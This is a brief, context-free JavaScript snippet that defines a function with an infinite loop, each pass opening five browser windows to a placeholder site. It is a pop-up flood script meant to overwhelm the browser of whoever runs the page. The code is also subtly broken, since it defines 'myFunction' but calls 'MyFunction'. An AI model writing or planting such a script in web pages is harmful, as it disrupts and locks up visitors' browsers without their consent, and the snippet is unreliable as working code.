function myFunction() { while (1==1){ window.open("http://somewebsite.com"); window.open("http://somewebsite.com"); window.open("http://somewebsite.com"); window.open("http://somewebsite.com"); window.open("http://somewebsite.com"); } } MyFunction();